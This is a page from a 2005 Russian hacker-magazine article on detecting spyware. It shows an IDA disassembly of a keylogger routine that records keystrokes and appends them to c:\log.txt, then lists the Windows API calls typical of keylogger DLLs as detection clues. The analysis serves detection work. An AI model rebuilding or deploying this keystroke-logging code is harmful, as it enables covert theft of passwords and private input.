Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #60, НОЯБРЬ 2005 г.

Компьютерный СМЕРШ

Зайцев Олег (z-oleg.com/secur)

Спецвыпуск: Хакер, номер #060, стр. 060-070-7


IDA - фрагмент кода кейлоггера

::::.

.text:1000108A lea edx, [ebp+SystemTime]

.text:10001090 push edx ; lpSystemTime

.text:10001091 call ds:GetLocalTime

.text:10001097 cmp [ebp+uScanCode], 80000000h

.text:1000109E jb loc_1000117F

.text:100010A4 cmp dword_10003230, 0

.text:100010AB jz loc_10001161

.text:100010B1 mov dword_10003230, 0

.text:100010BB lea eax, [ebp+KeyState]

.text:100010C1 push eax ; lpKeyState

.text:100010C2 call ds:GetKeyboardState

.text:100010C8 push 0 ; uFlags

.text:100010CA lea ecx, [ebp+Buffer]

.text:100010D0 push ecx ; lpChar

.text:100010D1 lea edx, [ebp+KeyState]

.text:100010D7 push edx ; lpKeyState

.text:100010D8 mov eax, [ebp+uScanCode]

.text:100010DB push eax ; uScanCode

.text:100010DC mov ecx, [ebp+uCode]

.text:100010DF and ecx, 0FFFFh

.text:100010E5 push ecx ; uVirtKey

.text:100010E6 call ds:ToAscii

.text:100010EC mov byte ptr [ebp+Buffer+1], 0

.text:100010F3 push 0 ; hTemplateFile

.text:100010F5 push 80h ; dwFlagsAndAttributes

.text:100010FA push 4 ; dwCreationDisposition

.text:100010FC push 0 ; lpSecurityAttributes

.text:100010FE push 3 ; dwShareMode

.text:10001100 push 40000000h ; dwDesiredAccess

.text:10001105 push offset String1 ; "c:\\log.txt"

.text:1000110A call ds:CreateFileA

.text:10001110 mov [ebp+hObject], eax

.text:10001116 push 2 ; dwMoveMethod

.text:10001118 push 0 ; lpDistanceToMoveHigh

.text:1000111A push 0 ; lDistanceToMove

.text:1000111C mov edx, [ebp+hObject]

.text:10001122 push edx ; hFile

.text:10001123 call ds:SetFilePointer

.text:10001129 push 0 ; lpOverlapped

.text:1000112B lea eax, [ebp+NumberOfBytesWritten]

.text:10001131 push eax ; lpNumberOfBytesWritten

.text:10001132 lea ecx, [ebp+Buffer]

.text:10001138 push ecx ; lpString

.text:10001139 call ds:lstrlenA

.text:1000113F push eax ; nNumberOfBytesToWrite

.text:10001140 lea edx, [ebp+Buffer]

.text:10001146 push edx ; lpBuffer

.text:10001147 mov eax, [ebp+hObject]

.text:1000114D push eax ; hFile

.text:1000114E call ds:WriteFile

.text:10001154 mov ecx, [ebp+hObject]

.text:1000115A push ecx ; hObject

.text:1000115B call ds:CloseHandle

:.

Как легко видеть, собственно весь кейлоггер вписался в 55 команд ассемблера. Этот код получает текущее время и состояние клавиатуры, затем дозаписывает информацию в хвост файла c:\log.txt.

По статистике, в DLL кейлоггера часто встречаются функции SetWindowsHookEx и CallNextHookEx, ToAscii, GetKeyboardState, MapVirtualKeyA, GetForegroundWindow. Поймать и проанализировать такую DLL можно вручную и без особых проблем. Изловить кейлоггер на основе драйвера или циклического опроса клавиатуры сложнее. Однако посторонний драйвер достаточно заметен, а отловить опрос клавиатуры в цикле тоже нетрудно – запрос должен идти с высокой скоростью.

Назад на стр. 060-070-6  Содержание  Вперед на стр. 060-070-8